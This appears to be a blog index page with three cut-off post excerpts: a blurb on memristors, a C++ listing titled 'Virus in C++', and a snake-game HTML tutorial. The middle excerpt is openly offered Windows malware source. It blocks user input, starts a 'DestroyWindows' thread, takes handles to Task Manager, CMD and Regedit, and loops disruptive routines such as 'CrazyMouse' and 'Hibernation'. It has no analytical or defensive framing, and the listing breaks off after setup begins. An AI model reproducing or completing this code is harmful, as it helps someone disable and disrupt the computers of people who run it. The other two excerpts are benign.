The Next Big thing? The memristor , a microscopic component that can "remember" electrical states even when turned off. It's expected to be far cheaper and faster than flash storage. A theoretical concept since 1971, it has now been built in labs and is already starting to revolutionize everything we know about computing, possibly making flash memory, RAM, and even hard drives obsolete within a decade.
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Virus in C++
Use iostream.h,conio.h,ctime.h, windows.h,winable.h int random, Freq, Dura, X, Y;//Integers are declared HWND mywindow, TaskMgr, CMD, Regedit; //This is used to catch-up memory charNotepad[MAX_PATH]="notepad.exe";//character is declared to open notepad char MineSweeper[MAX_PATH]="winmine.exe";//character is declared to open winrar file char Website[MAX_PATH]="http:\\www.google.com";//character is declared to open the website void SetUp(); void Run( int ID ); void Beeper(), OpenStuff(), Hibernation(), CrazyMouse(); //Function are declared DWORD WINAPI DestroyWindows(LPVOID); int main() { srand( time(0) ); random = rand()%6; system("title :.Virus.:"); BlockInput( true ); SetUp(); BlockInput( false ); CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL); while(1) { Run( random ); Sleep(10); } }//Main function void SetUp() { char system[MAX_PATH]; char pathtofile[MAX_PATH]; HMODULE GetModH = GetModuleHandle(NULL);...
Wanna make your own flash game??? Just try this It is a snake game where you are suppose get the snake foods. By using this code you will be able to set your own creativity and you can develop your skills. As many attributes are used up here you can set your own backgrounds, playarea, inc score, etc.... SO JUST CODE IT AND ENJOY PLAYING IT <html lang="en"> <head> <meta charset="utf-8" /> <title>Play Snake Game</title> <style type="text/css"> body {text-align:center;} canvas { border:5px dotted #ccc; } h1 { font-size:50px; text-align: center; margin: 0; padding-bottom: 50px;} </style> <script type="text/javascript"> function play_game() { var level = 160; // Game level, by decreasing will speed up var rect_w = 20; // Width var rect_h = 30; // Height var inc_score = 50; // Score var snake_color = "#006699"; // Snake Color var ctx; // C...








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